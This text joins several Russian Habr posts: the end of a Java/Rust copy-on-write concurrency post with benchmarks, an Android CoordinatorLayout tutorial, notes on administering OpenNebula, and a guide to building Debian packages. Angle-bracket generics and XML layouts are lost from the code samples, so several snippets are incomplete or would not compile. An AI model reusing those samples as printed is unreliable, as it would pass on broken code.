public T getWriteCopy() {
writersSync.lock();
// Copy shoud not throw any exception.
return currentValue.copy();
}
public void returnReadCopy(T oldValue) {
// No-op because we don't care about monotonic.
}
public void returnWriteCopy(T newValue) {
currentValue = newValue;
writersSync.unlock();
}
// Because Cloneable isn't generic and method clone is protected.
public static interface Copyable {
T copy();
}
}
```
Для разработчиков Rust может показаться дикостью, что приходится объявлять собственный интерфейс для копирования. В Java метод clone объявлен protected т.е. он видим только потомкам (где можно объявить его public) и даже если объявить тип T наследником Cloneable это не решит проблему. К слову в C# с этим все тоже [не слава богу](https://stackoverflow.com/questions/536349/why-no-icloneablet): интерфейс IСloneable не generic и возвращает Object, который ещё надо кастовать к нужному типу.
Я сделал бенчмарк на JMH. Даже в случае 1 писателя и 1 читателя реализация на PoorMvcc намного быстрее реализации на ReentrantReadWriteLock. С увеличением числа писателей разрыв только растет. Я не знаю как написать аналогичный бенчмарк на Rust. Кажется там нет функционала для проверки того как методы влияют друг на друга исполняясь одновременно.
**Бенчмарк 1 писателя и 10 читателей и его результаты**
```
public static class LongCopy implements PoorMvcc.Copyable {
public long val;
public LongCopy(long val) {
this.val = val;
}
@Override public LongCopy copy() {
return new LongCopy(val);
}
}
public final PoorMvcc poorMvcc = new PoorMvcc<>(new LongCopy(1));
@Benchmark
@Group("g")
@GroupThreads(1)
public long inc() {
LongCopy copy = poorMvcc.getWriteCopy();
try {
copy.val++;
return copy.val;
} finally {
poorMvcc.returnWriteCopy(copy);
}
}
@Benchmark
@Group("g")
@GroupThreads(10)
public long read() {
LongCopy copy = poorMvcc.getReadCopy();
try {
return copy.val;
} finally {
poorMvcc.returnReadCopy(copy);
}
}
final LongCopy longCopy = new LongCopy(1);
final ReentrantReadWriteLock lock = new ReentrantReadWriteLock();
@Benchmark
@Group("g2")
@GroupThreads(1)
public long inc2() {
ReentrantReadWriteLock.WriteLock writeLock = lock.writeLock();
writeLock.lock();
try {
longCopy.val++;
return longCopy.val;
} finally {
writeLock.unlock();
}
}
@Benchmark
@Group("g2")
@GroupThreads(10)
public long read2() {
ReentrantReadWriteLock.ReadLock readLock = lock.readLock();
readLock.lock();
try {
return longCopy.val;
} finally {
readLock.unlock();
}
}
```
Результат:
```
Benchmark Mode Cnt Score Error Units
Main.g avgt 20 60,452 ± 2,956 ns/op
Main.g:inc avgt 20 344,700 ± 33,870 ns/op
Main.g:read avgt 20 32,027 ± 0,935 ns/op
Main.g2 avgt 20 4093,235 ± 3403,373 ns/op
Main.g2:inc2 avgt 20 28628,403 ± 37297,944 ns/op
Main.g2:read2 avgt 20 1639,718 ± 52,243 ns/op
```
Инкремент быстрее в 83 раза, а чтение в 51. Если читателей станет 100, тогда инкремент будет быстрее в 12 000 раз, а чтение в 17 000.
В Rust есть Thread local, но он нам не понадобится тут тоже.
```
struct PoorMvcc {
current\_value: AtomicPtr,
write\_copy: Mutex
}
unsafe impl Sync for PoorMvcc {}
impl PoorMvcc {
fn new(val: T) -> Self {
PoorMvcc {
write\_copy: Mutex::new(val.clone()),
current\_value: AtomicPtr::new(Arc::into\_raw(Arc::new(val)) as \*mut \_)
}
}
fn get\_read\_copy(&self) -> Arc {
let val = unsafe {Arc::from\_raw(self.current\_value.load(Ordering::Acquire))};
let copy = Arc::clone(&val);
Arc::into\_raw(val);
copy
}
fn return\_read\_copy(&self, val: Arc) {
// Eliminate a link
}
fn get\_write\_copy(&self) -> MutexGuard {
self.write\_copy.lock().unwrap()
}
fn return\_write\_copy(&self, val: MutexGuard) {
let new\_val = Arc::new(val.clone());
let old\_val = self.current\_value.swap(Arc::into\_raw(new\_val) as \*mut \_, Ordering::AcqRel);
//To avoid a memory leak we have to eliminate the old value.
unsafe {Arc::from\_raw(old\_val);}
}
}
```
Давайте сперва рассмотрим получение значения для чтения. Работать с AtomicPtr в Rust надо аккуратно что бы и память не утекла и не освободилась слишком рано. Я кладу внутрь Arc поскольку результат будет передан между потоками. Соответственно get\_read\_copy достает атомарно текущую Arc ссылку и возвращает её клон (так в Rust передаются Arc ссылки). Если больше ничего не сделать, то в AtomicPtr протухнет указатель, ведь считанная оттуда Arc ссылка освободится, поэтому я делаю into\_raw, что бы этого не произошло. А return\_read\_copy принимает Arc ссылку, уничтожая эту копию.
Получение значения на запись похитрее. Поскольку надо синхронизировать записи блокировкой, я завожу отдельную копию данных обернутую в Mutex. При вызове get\_write\_copy я просто возвращаю значение из Mutex (оно обернуто в MutexGuard что бы освободить потом блокировку — это полный аналог кода в Java). А в return\_write\_copy принимаю его назад, потом подменяю старое значение для чтения на новую копию. Тут есть хитрость с операцией swap, которую надо сделать атомарно, что бы потом освободить старую Arc ссылку (у других потоков может остаться копия).
На сегодня всё. Поиск ошибок приветствуется. | https://habr.com/ru/post/337232/ | null | ru | null |
# Введение в новый CoordinatorLayout
В этом году на конференции Google IO компания Google представила новую библиотеку Android Design Support Library, которая создана для того, чтобы помочь разработчикам внедрять материальный дизайн в их приложения. Билиотека содержит много компонентов, нужных для этого нового стиля, и работает со всеми уровнями API, начиная с седьмого. Если по какой-то причине вы пропустили её анонс, можете [ознакомиться с постом](http://android-developers.blogspot.ru/2015/05/android-design-support-library.html) Ian Lake, выложенным на Android Developers Blog.
Встречайте Android CoordinatorLayout
------------------------------------
Из всех компонентов, включенных в Android Design Support Library, наиболее интересным выглядит новый «прокачанный FrameLayout», он же герой нашей статьи — [CoordinatorLayout](https://developer.android.com/intl/ru/reference/android/support/design/widget/CoordinatorLayout.html). По названию можно догадаться, что CoordinatorLayout позволяет координировать некие зависимости между включенными в него виджетами.
Всё, что нужно сделать — обернуть необходимые нам виджеты в CoordinatorLayout. Давайте посмотрим, как это будет выглядеть в коде. Наш демонстрационный код очень прост — Floating Action Button, по нажатию на которую на экране появляется Snackbar.
Сначала добавим Support Design Library в gradle:
```
compile 'com.android.support:design:22.2.0'
```
Теперь создадим разметку для нашей Activity:
```
xml version="1.0" encoding="utf-8"?
```
И, заодно, саму MainActivity:
```
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
findViewById(R.id.fab).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Snackbar.make(view, "Hello Snackbar", Snackbar.LENGTH_LONG).show();
}
});
}
}
```
Посмотрим на демо:
Круто, правда?
Но что если мы захотим использовать другую реализацию FAB? FAB из Support Library не умеет разворачиваться по нажатию на неё в список доступных опций (прим. переводчика: так, как это показано в [спецификациях дизайна](https://www.google.com/design/spec/components/buttons-floating-action-button.html#buttons-floating-action-button-transitions) от самой Google), поэтому давайте-ка попробуем [другую реализацию](https://github.com/futuresimple/android-floating-action-button) FAB:
```
compile 'com.getbase:floatingactionbutton:1.9.1'
```
```
xml version="1.0" encoding="utf-8"?
```
В этом случае CoordinatorLayout не работает из коробки, и связано это с тем, что наша новая FAB не имеет подключенной к ней реализации класса CoordinatorLayout.Behavior (прим. переводчика: далее по тексту будет использоваться слово «поведение»). Что можно сделать? Можно подождать, пока кто-нибудь не добавит её…
… или написать свою собственную реализацию CoordinatorLayout.Behavior, специфичную для FAB в нашем проекте.
Виджеты учатся вести себя правильно
-----------------------------------
Чем по-настоящему хорош CoordinatorLayout, так это тем, что нам не нужно иметь доступа к исходникам того виджета, для которого нужно реализовать его поведение. Также можно изменить поведение по умолчанию для любого виджета.
Сначала отнаследуемся от класса CoordinatorLayout.Behavior:
```
public class FloatingActionButtonBehavior extends CoordinatorLayout.Behavior
```
Добавим конструктор с параметрами Context и AttributeSet для того, чтобы наша реализация могла получить необходимые ей аттрибуты из xml-файла:
```
public FloatingActionButtonBehavior(Context context, AttributeSet attrs) {}
```
Следующий шаг — переопределить метод layoutDependsOn() и возвращать true только тогда, когда мы хотим отреагировать на происходящие в разметке изменения. В нашем случае, мы хотим реагировать только на изменения виджета Snackbar:
```
@Override
public boolean layoutDependsOn(CoordinatorLayout parent, FloatingActionButton child, View dependency) {
return dependency instanceof SnackbarLayout;
}
```
Теперь перейдем к реализации поведения. Метод onDependentViewChanged вызывается всякий раз, когда с виджетом, который находится в CoordinatorLayout и изменения которого мы отслеживаем, что-то происходит (прим. переводчика: имеются в виду изменения, приводящие к тому, что нужно пересчитать положение на экране виджета, для которого мы реализуем поведение, то есть понятно, что изменение, скажем, цвета Snackbar нас никак не интересует). В этом методе мы можем узнать текущее состояние Snackbar, и, соответственно, подвинуть FAB вверх, когда Snackbar появляется на экране. Для этого нужно изменить значение translationY у FAB на величину, равную высоте Snackbar. В начале анимации Snackbar, свойство translationY SnackBar'a выставлено в величину, равную высоте самого Snackbar, а значит, чтобы получить правильное значение translationY для FAB, нам нужно вычесть высоту Snackbar из его же translationY. Согласно документации, нам нужно вернуть true тогда, когда объект меняет своё положение на экране.
```
@Override
public boolean onDependentViewChanged(CoordinatorLayout parent, FloatingActionButton child, View dependency) {
float translationY = Math.min(0, dependency.getTranslationY() - dependency.getHeight());
child.setTranslationY(translationY);
return true;
}
```
Последнее, что остаётся сделать — указать, что CoordinatorLayout должен использовать FloatingActionButtonBehavior. Сделать это можно в разметке:
```
xml version="1.0" encoding="utf-8"?
```
И вот результат:
Если вы хотите указать для своего виджета поведение по умолчанию, пометьте его аннотацией DefaultBehavior, указав в параметрах аннотации путь к нужной вам реализации класса Behavior.
Хотите взглянуть на полную реализацию? Вам [на github](https://github.com/ggajews/coordinatorlayoutwithfabdemo).
Приятного вам кодинга! | https://habr.com/ru/post/265119/ | null | ru | null |
# Opennebula. Короткие записки
Всем привет. Данная статья написана для тех, кто до сих пор мечется между выбором платформ виртуализации и после прочтения статьи из серии «Поставили proxmox и вообще все отлично, 6 лет аптайм не единого разрыва». Но после установки того или иного коробочного решения, возникает вопрос, а как бы тут подправить и тут, чтобы мониторинг был более понятный и вот тут, чтобы контролировать бэкапы…. А потом приходит время и вы понимаете, что хочется чего то более функционального, ну или хочется чтобы внутри вашей системы стало все понятно, а не этот черный ящик или хочется использовать что то больше, чем гипервизор и куча виртуальных машин. В данной статье будет немного размышлений и практика на основе платформы Opennebula — выбрал т.к. не требовательна к ресурсам и архитектура не такая сложная.
И так, как видим многие облачные провайдеры работают на kvm и делают внешнюю обвязку для управления машинами. Ясно что крупные хостеры пишут свои обвязки для облачной инфраструктуры, тот же YANDEX например. Кто то использует openstack и делает обвязку на этой основе — SELECTEL, MAIL.RU. Но если у вас есть свое железо и небольшой штат специалистов, то обычно выбирают что-то из готового — VMWARE, HYPER-V, есть бесплатные лицензии и платные, но сейчас не про это. Поговорим про энтузиастов — это те, кто не боится предложить и попробовать новое, несмотря на то, что в компании явно дали понять «Кто это потом будет после тебя обслуживать», «А мы это что ли в прод потом выкатим? Страшно.» Но ведь можно для начала применять данные решения в условиях тестового стенда и если всем понравится, то можно поднять вопрос о дальнейшем развитии и использовании в более серьезных средах.
Также вот ссылка на доклад [www.youtube.com/watch?v=47Mht\_uoX3A](https://www.youtube.com/watch?v=47Mht_uoX3A) от активного участника развития данной платформы.
Возможно в данной статье что-то будет лишнее и уже понятно опытному специалисту, а в некоторых случаях не буду описывать все т. к. подобные команды и описание есть в сети. Тут только мой опыт работы с данной платформой. Надеюсь, активные участники дополнят в комментариях, что можно сделать лучше и какие я допустил ошибки. Все действия были в условиях домашнего стенда состоящие из 3х ПК с разными характеристиками. Также я специально не стал указывать как работает данный софт и как устанавливать. Нет, только опыт администрирования и проблемы с которыми столкнулся. Возможно кому то это пригодится в выборе.
И так, приступим. Мне как системному администратору важны следующие пункты, без которых я вряд ли буду использовать данное решение.
**1. Повторяемость установки**
Есть куча инструкций по установке opennebula, тут не должно возникнуть проблем. От версии к версии появляются новые фичи, которые не всегда смогут заработать при переходе от версии к версии.
**2. Мониторинг**
Будем мониторить саму ноду, kvm и opennebula. Благо уже есть готовое. Про мониторинг linux хостов есть масса вариантов, тот же заббикс или node exporter — кому что больше нравится — на данный момент определяю так, что мониторинг системных метрик (температура там где она может измеряться, консистентность дискового массива), через zabbix, а то что касается приложений через экспортер в прометей. По мониторингу kvm например можно взять проект [github.com/zhangjianweibj/prometheus-libvirt-exporter.git](https://github.com/zhangjianweibj/prometheus-libvirt-exporter.git) и поставить запуск через systemd, вполне хорошо работает и показывает метрики kvm, также есть готовый dashboard [grafana.com/grafana/dashboards/12538](https://grafana.com/grafana/dashboards/12538).
Например, вот мой файл:
```
/etc/systemd/system/libvirtd_exporter.service
[Unit]
Description=Node Exporter
[Service]
User=node_exporter
ExecStart=/usr/sbin/prometheus-libvirt-exporter --web.listen-address=":9101"
[Install]
WantedBy=multi-user.target
```
И так у нас 1 экспортер, надо второй для мониторинга самой opennebula, использовал такой [github.com/kvaps/opennebula-exporter/blob/master/opennebula\_exporter](https://github.com/kvaps/opennebula-exporter/blob/master/opennebula_exporter)
Можно добавить в обычный [node\_exporter](https://github.com/prometheus/node_exporter) для мониторинга системы следующее.
В файле по node\_exporter меняем старт таким образом:
```
ExecStart=/usr/sbin/node_exporter --web.listen-address=":9102" --collector.textfile.directory=/var/lib/opennebula_exporter/textfile_collector
```
Создаем директорию mkdir -p /var/lib/opennebula\_exporter
bash скрипт представленный выше сначала проверяем работу через консоль, если показывает то что надо (если выдает ошибку то ставим xmlstarlet), копируем его в /usr/local/bin/opennebula\_exporter.sh
Добавляем в крон задание на каждую минуту:
```
*/1 * * * * (/usr/local/bin/opennebula_exporter.sh > /var/lib/opennebula_exporter/textfile_collector/opennebula.prom)
```
Метрики стали появляться, можно забирать их прометеем и строить графики и делать алерты. В графане можно нарисовать например такой простой дашборд.
(видно что тут я сделал overcommit cpu, ram)
Для тех кто любит и использует заббикс, есть [github.com/OpenNebula/addon-zabbix](https://github.com/OpenNebula/addon-zabbix)
По мониторингу все, главное он есть. Конечно можно в дополнение используя встроенные средства мониторинга виртуальных машин и выгружать данные в билинг, тут у всех свое видение, пока более плотно к этому не приступал.
К логированию, пока особо не приступал. Как самый простой вариант, это добавить td-agent на парсинг директории /var/lib/one с регулярными выражениями. Например, файлик sunstone.log подходит под regexp nginx и другие файлики, которые показывают историю обращений с платформой — какой в этом плюс? Ну например мы можем явно отслеживать количество «Error, error» и быстрее отследить, где и на каком уровне есть неисправность.
**3. Резервные копии**
Есть также платные допиленные проекты — например sep [wiki.sepsoftware.com/wiki/index.php/4\_4\_3\_Tigon](https://wiki.sepsoftware.com/wiki/index.php/4_4_3_Tigon):OpenNebula\_Backup. Тут мы должны понимать, что просто бэкапить образ машины, в данном случае совсем не то, ведь наши виртуальные машины должны работать с полной интеграцией (тот же контекст файлик, в котором описываются настройки сети, имя vm и кастомные настройки для ваших приложений). Поэтому тут определяемся что и как будем бэкапить. В некоторых случаях лучше делать копии того, что находится в самой vm. И возможно надо бэкапить только один диск от данной машины.
Например мы определились, что все машины запускаются с persistent images следовательно почитав [docs.opennebula.io/5.12/operation/vm\_management/img\_guide.html](https://docs.opennebula.io/5.12/operation/vm_management/img_guide.html)
значит сначала с нашей vm можем выгрузить образ:
```
onevm disk-saveas 74 3 prom.qcow2
Image ID: 77
Смотрим, под каким именем он сохранился
oneimage show 77
/var/lib/one//datastores/100/f9503161fe180658125a9b32433bf6e8
И далее копируем куда нам необходимо. Конечно, так себе способ. Просто хотел показать, что используя инструменты opennebula можно строить подобные решения.
```
Также в просторах сети нашел [интересный доклад](https://www.slideshare.net/opennebula/opennebulaconf2015-202-backing-up-your-vms-with-bacula-alberto-garca) и есть еще [такой открытый проект](https://gitlab.feldhost.cz/feldhost-public/one-image-backup), но тут только под qcow2 хранилище.
Но как мы все знаем, рано или поздно наступает момент, когда хочется инкрементальных бэкапов, тут сложнее и возможно руководство выделит деньги на платное решение, либо пойти другим путем и пониманием того, что тут мы пилим только ресурсы, а резервирование делать на уровне приложений и добавления количества новых нод и виртуалок — да тут, я говорю, что использовать облако чисто для запуска кластеров приложений, а бд запускать на другой платформе или брать готовое от поставщика, если есть такая возможность.
**4. Удобство использования**
В данном пункте опишу те проблемы с которыми столкнулся я. Например, по образам, как мы знаем есть persistent — при монтировании этого образа к vm, все данные записываются в этот образ. А если non-persistent, то копируется образ на хранилище и данные пишутся в то что скопировалось от исходного образа — так работают заготовки шаблонов. Неоднократно сам себе делал проблемы тем, что забыл указать persistent и 200 гб образ копировался, проблема в том, что наверняка данную процедуру отменить нельзя, надо идти на ноду и прибивать текущий процесс «cp».
Один из важных минусов — это нельзя отменить действия просто используя gui. Вернее ты их отменишь и увидишь, что ничего не происходит и снова запустишь, отменишь и по факту уже будет 2 процесса cp, которые копируют образ.
И тут приходит пониманием, почему opennebula каждый новый инстанс нумерует новым id, например в том же proxmox создал vm с id 101, удалил ее, потом вновь создаешь и id 101. В opennebula такого не будет, каждый новый инстанс будет создаваться с новым id и в этом есть своя логика — например, очистка старых данных или не успешных инсталляций.
Тоже самое по хранилищу, больше всего данная платформа нацелена на централизованное хранилище. Есть аддоны для использования локального, но в данном случае не про то. Думаю, что в будущем кто нибудь напишет статью, о том, как удалось использовать локальное хранилище на нодах и успешно использовать в production.
**5. Максимальная простота**
Конечно тут чем дальше идешь, тем меньше становится тех, кто будет понимать тебя.
В условиях моего стенда — 3 ноды с nfs хранилищем — все работает в порядке. Но если проводить эксперименты на отключение энергии, то например при запуска snapshot и отключении питания ноды, у нас сохраняются настройки в БД, что есть snapshot, а по факту его нет (ну мы же все понимаем, что исходно записал в sql базу о данном действии, но сама операция прошла не успешно). Плюс в том, что при создании снимка формируется отдельный файлик и есть «родитель», следовательно в случае проблем и даже если через gui не работает, мы можем забрать qcow2 файлик и восстановится отдельно [docs.opennebula.io/5.8/operation/vm\_management/vm\_instances.html](https://docs.opennebula.io/5.8/operation/vm_management/vm_instances.html)
По сетям, к сожалению не все так просто. Ну по крайне мере проще чем в openstack, я использовал только vlan (802.1Q) — вполне работает, но если вы из template network сделайте изменения в настройках, то данные настройки не применяться на уже работающих машинах т. е. надо удалить и добавить сетевую карту, тогда новые настройки применяться.
Если еще хочется по сравнивать с openstack, то можно сказать так, в opennebula нет четкого определения какие технологии использовать для хранения данные, управления сетью, ресурсами — каждый администратор решает сам, как ему удобнее.
**6. Дополнительные плагины и установки**
Ведь как мы понимаем облачная платформа может управлять не только kvm, но и vmware esxi. К сожалению пула с Vcenter у меня не оказалось, если кто пробовал напишите.
В поддержке других облачных провайдеров заявлено [docs.opennebula.io/5.12/advanced\_components/cloud\_bursting/index.html](https://docs.opennebula.io/5.12/advanced_components/cloud_bursting/index.html)
AWS, AZURE.
Также пробовал прикрутить Vmware Cloud от селектел, но ничего не получилось — в общем забил т. к. Много факторов, а писать в тех.поддержку хостинг провайдера нет смысла.
Также, сейчас в новой версии есть firecracker — это запуск microvm, типа kvm обвязка над докер, что дает еще больше универсальности, безопасности и повышения производительности т. к. Не надо тратить ресурсы на эмуляцию оборудования. Я вижу только преимущество по отношению к докеру в том, что не занимает дополнительное количество процессов и нет занимаемых сокетов при использовании данной эмуляции т.е. вполне себе можно использовать как балансировщик нагрузки (но про это наверное стоит написать отдельную статью, пока не провел все тесты в полной мере).
**7. Положительный опыт использования и дебаг ошибок**
Хотел поделится своими наблюдениями по поводу работы, часть описал выше, хочется написать побольше. Действительно, вероятно не я один, кто сначала думает, что эта не та система и вообще тут все костыльно — как с этим вообще работают? Но потом приходит понимание и что все вполне логично. Конечно всем не угодить и некоторые моменты требуют доработок.
Например, простая операция копирования образа диска с одного datastore на другой. В моем случае есть 2 ноды с nfs, отправляю образ — копирование идет через frontend opennebula, хотя все мы привыкли к тому, что данные должны копироваться напрямую между хостами — в той же vmware, hyper-v мы привыкли именно к этому, но тут по другому. Тут другой подход и другая идеология, и в 5.12 версии убрали кнопку «migrate to datastore» — переносится только сама машина, но не хранилище т.к. подразумевается централизованное хранилище.
Далее популярная ошибка с разными причинами «Error deploying virtual machine: Could not create domain from /var/lib/one//datastores/103/10/deployment.5» Ниже будет топ, что надо посмотреть.
* Права на образ для пользователя oneadmin;
* Права для пользователя oneadminдля запуска libvirtd;
* А правильно ли смонтирован datastore? Иди и проверь путь на самой ноде, возможно что то отвалилось;
* Неправильно сконфигурированная сеть, вернее на frontend стоит в настройках сети, что в качестве основного интерфейса для vlan стоит br0, а на ноде прописано — bridge0 — надо чтобы было одинаково.
system datastore хранит метаданные для вашей vm, если вы запускаете vm с persistent image, то vm необходимо иметь доступ к изначально созданной конфигурации на том хранилище, где вы создавали vm — это очень важно. Поэтому при переносе vm на другой datastore надо все перепроверить.
**8. Документация, сообщество. Дальнейшее развитие**
И остальное, хорошая документация, сообщество и главное чтобы проект в дальнейшем продолжал жить.
Тут в целом, все довольно хорошо документировано и даже по официальному источнику не составит проблем установить и найти ответы на вопросы.
Сообщество, активное. Публикует много готовых решений, которые вы можете использовать в своих установках.
На данный момент с 5.12 изменились некоторые политики в компании [forum.opennebula.io/t/towards-a-stronger-opennebula-community/8506/14](https://forum.opennebula.io/t/towards-a-stronger-opennebula-community/8506/14) будет интересно узнать, как будет развиваться проект. В начале я специально указал некоторых поставщиков, которые используют свои решения и то что предлагает индустрия. Четкого ответа что использовать вам, конечно же нет. Но для небольших организаций поддержка своего маленького частного облака может обойтись не так дорого, как это кажется. Главное, точно знать, что это вам нужно.
Как итог, вне зависимости от того, что вы выбрали в качестве облачной системы не стоит останавливаться на одном продукте. Если у вас есть время, стоит присмотреться к другим более открытым решениям.
Есть хороший чатик [t.me/opennebula](https://t.me/opennebula) активно помогают и не отправляют искать решение проблемы в гугл. Присоединяйтесь. | https://habr.com/ru/post/519898/ | null | ru | null |
# Еще раз о deb пакетах
Deb пакеты очень удобный инструмент, особенно если знаешь как его использовать. Попробую поделиться собственным опытом в данном вопросе.
Подготовка
----------
Чтобы начать создавать deb пакеты, нужно установить несколько пакетов:
```
$ sudo apt-get install dh_make
```
Подготовка папки с исходниками
------------------------------
Для того, чтобы **dh\_make** и другие утилиты могли работать с папкой с исходниками, нужно привести ее в специфичный вид.
Папка должна называться **имяпакета-версия**. Т.е. если у меня есть папка **Plugins** с программой версии 0.1, то я создаю папку с именем **plugins-0.1**.
```
$ ls
VKSPlugins
$ mv VKSPlugins/ libvksplugins-0.1
$ ls
libvksplugins-0.1
```
Теперь нужно создать архив с этой папкой. Архив должен содержать в имени **\*.orig.tar.gz**, т.е.:
```
$ tar -zcf libvksplugins_0.1.orig.tar.gz libvksplugins-0.1
$ ls
libvksplugins-0.1 libvksplugins_0.1.orig.tar.gz
```
Последний подготовительный шаг, это создание в папке с исходниками папки **debian** со множеством служебных файлов. Чтобы это сделать, нужно выполнить команду:
```
$ cd libvksplugins-0.1/
$ dh_make
Type of package: single binary, indep binary,
multiple binary, library, kernel module, kernel patch?
[s/i/m/l/k/n] l
Maintainer name : User Name
Email-Address : user@name.ru
Date : Wed, 19 Aug 2015 14:55:53 +0300
Package Name : libvksplugins
Version : 0.1
License : blank
Type of Package : Single
Hit to confirm:
Skipping creating ../libvksplugins\_0.1.orig.tar.gz because it already exists
Done. Please edit the files in the debian/ subdirectory now. plugins
uses a configure script, so you probably don’t have to edit the Makefiles.
```
В процессе выполнения этой команды будет задан вопрос о том, какой тип архива мы создаем, самый простой это single.
**О типе пакета**На самом деле документация говорит, выбирать вариант только **single**. Т.к. я не смог понять всех требований к пакету типа **library** но меня вполне устраивает результат, то описание и дальше пойдет про пакет типа **library**.
Настройка пакета
----------------
Вся настройка пакета происходит путем редактирования файлов в каталоге **debian**. Рассмотрим те файлы, которые будем использовать:
* changelog — история пакета.
* control — главный конфиг пакета;
* rules — аналог Makefile для пакета;
Кроме этих файлов, в папке debian будет создано много файлов **\*.ex** которые являются примерами для конфигурации различных вещей, но мы не будем их использовать и поэтому их нужно удалить.
changelog
---------
Данный файл содержит историю изменения пакета и текущую версию пакета. Посмотрим на его содержимое:
```
$ cat changelog
libvksplugins (0.1-1) unstable; urgency=low
* Initial release (Closes: #nnnn)
-- User Name Wed, 19 Aug 2015 15:03:51 +0300
```
В начале идет название пакета — **libvksplugins**, затем его версия. Версия делиться на две части символом «-». Первая часть показывает версию программы в пакете, вторая «ревизию» пакета. Ревизия это версия пакета, т.е. если раньше такого пакета не было, то ревизия равна 1. Если же пакет с такой версией программы уже был, но в нем произошли изменения, то ревизия увеличивается.
Слово **unstable** показывает, что пакет является не стабильным, т.е. он не был протестирован должным образом на машинах пользователей.
Надпись **urgency=low** показывает срочность изменения. Т.к. срочности нет, то значение равно **low**. Если бы, мы делали пакет для исправления серьезной уязвимости или ошибки, то значение можно было бы установить в **high**.
После первой строки идет пустая строка, а за ней первая запись:
```
* Initial release (Closes: #nnnn)
```
В Debian, changelog используется для автоматического закрытия ошибок в системах отслеживания ошибок в программных продуктах. Т.к. в данном случае, я не использую такую систему, то эта строка принимает вид:
`* Initial release`
**Замечание**При проверке пакета программой **lintian**, отсутствие **Closes: #XXXX** считается ошибкой.
Последняя строка является подписью человека, сделавшего запись. В ней содержится имя и адрес, а также дата изменения.
После установки deb пакета, файл **changelog** устанавливается в
`/usr/share/doc/<пакет>/changelog.Debian.gz`
control
-------
Файл **debian/control** является главным конфигом, при создании deb пакета. Вот пример такого файла:
```
$ cat control
Source: libvksplugins
Priority: optional
Maintainer: User Name
Build-Depends: debhelper (>= 9), cmake
Standards-Version: 3.9.5
Section: libs
Homepage:
#Vcs-Git: git://anonscm.debian.org/collab-maint/plugins.git
#Vcs-Browser: http://anonscm.debian.org/?p=collab-maint/plugins.git;a=summary
Package: libvksplugins-dev
Section: libdevel
Architecture: any
Depends: libvkspluginsBROKEN (= ${binary:Version}), ${misc:Depends}
Description:
Package: libvkspluginsBROKEN
Architecture: any
Depends: ${shlibs:Depends}, ${misc:Depends}
Description:
```
Видно, что файл разбит на секции при помощи пустых строк. Каждая секция описывает один пакет, создаваемый из папки с исходниками. Рассмотрим их по порядку:
**Source** Данная секция говорит о том, что нужно создать пакет исходных кодов. Параметром указано **libvksplugins**, это значит, что пакет исходных кодов будет называться **libvksplugins**.
**Priority** Эта секция устанавливает приоритет пакета. Т.к. система может прекрасно обойтись без нового пакета, то значение секции установлено в **optional**. Т.е. этот пакет не обязателен для установки. Подробнее о приоритетах написано [здесь](https://www.debian.org/doc/debian-policy/ch-archive.html#s-priorities).
**Maintainer** Эта секция описывает контакты человека, создающего пакет. Ее формат довольно прост и дополнительного описание не требует.
**Build-Depends** Одна из самых важных секций, устанавливающая зависимости пакета. Зависимости, указанные в данной секции должны быть выполнены, чтобы можно было собрать пакет. Т.е. список зависимостей для сборки и установки могут отличаться.
Видно, что в зависимостях стоят **debhelper (>= 9), cmake**. Зависимость **debhelper (>= 9)** ставиться для всех пакетов по умолчанию. Она нужна для корректной работы программ вида **dh\_\***.
Второй элемент **cmake** был добавлен потому, что папка с исходниками содержала файл **CMakeLists.txt**, т.е. для сборки используется система сборки **CMake**. Для того, чтобы узнать, какие зависимости есть у программы, можно почитать ее документацию. Кроме этого, можно воспользоваться командой **dpkg-depcheck**. Данная команда должна запускаться так:
```
$ dpkg-depcheck -d ./configure
```
Но, т.к. при использовании CMake нет скрипта конфигурирования, то я использую ее так:
```
$ mkdir build && cd build
$ dpkg-depcheck -d cmake ../
.....
Packages needed:
libxml2:amd64
cmake
libkrb5support0:amd64
language-pack-ru-base
libnettle4:amd64
.....
libedit2:amd64
libtasn1-6:amd64
qt4-qmake
libgssapi-krb5-2:amd64
libhcrypto4-heimdal:amd64
.....
libroken18-heimdal:amd64
libsqlite3-0:amd64
libqt4-dev
libssl1.0.0:amd64
.....
```
Из примечательных тут можно отметить:
`cmake
qt4-qmake
libqt4-dev`
Остальные являются зависимостями данных. Причем, cmake уже есть в списке зависимостей сборки. В принципе, можно его оставить как есть или указать используемую версию:
```
$ apt-cache show cmake | grep Version:
Version: 2.8.12.2-0ubuntu6
```
При этом в CMakeLists.txt указана версия cmake, которую нужно использовать:
```
$ cat CMakeLists.txt | grep cmake_minimum
cmake_minimum_required(VERSION 2.8.4)
```
Я думаю, что разработчику виднее, и поэтому указываю версию из CMakeLists.txt. Для Qt 4 все понятно с номерами версий, но для очистки совести проверим и их версии:
```
$ apt-cache show qt4-qmake | grep Version:
Version: 4:4.8.6+git49-gbc62005+dfsg-1ubuntu1.1
Version: 4:4.8.6+git49-gbc62005+dfsg-1ubuntu1
$ apt-cache show libqt4-dev | grep Version:
Version: 4:4.8.6+git49-gbc62005+dfsg-1ubuntu1.1
Version: 4:4.8.6+git49-gbc62005+dfsg-1ubuntu1
```
Т.е. для Qt 4 указываем версию 4.8.6:
```
Build-Depends: debhelper (>= 9), cmake (>= 2.8.4), qt4-qmake (>= 4.8.6), libqt4-dev (>= 4.8.6)
```
**Standards-Version** Версия стандарта, в соответствии с которым создан файл. Это значение не нужно менять.
**Section**. Секция для пакета, т.е. группа пакетов, выполняющая одну задачу. В [Политике Debian разделе 2.4](https://www.debian.org/doc/debian-policy/ch-archive.html) этот вопрос описан более подробно.
**Homepage** Домашняя страница проекта. Т.к. данный код писал я и у него нет страницы, просто удаляю эту строку.
**Vcs-\*** Ссылки на репозитории проекта. Их у меня тоже нет, поэтому удаляю эти строки.
**Другие пакеты** После секции файла, где описывается пакет с исходниками, идут секции, которые описывают другие пакеты, создаваемые из пакета с исходниками. Схема создания пакетов:
Из схемы видно, что из исходников программы, я хочу получить 4 пакета:
* пакет с исходными кодами;
* пакет с бинарником (самой библиотекой);
* пакет для разработки (заголовочные файлы);
* пакет с документацией.
Возникает вопрос, зачем так много пакетов? Ответов на него может быть несколько, если прочитать соответствующие обсуждения на [stackoverflow.com](http://stackoverflow.com/) то основная идея разбиения в том, что большинству пользователей не нужны заголовочные файлы и документация, поэтому разделение этих файлов способствует снижению нагрузки на сеть и скорости установки программ.
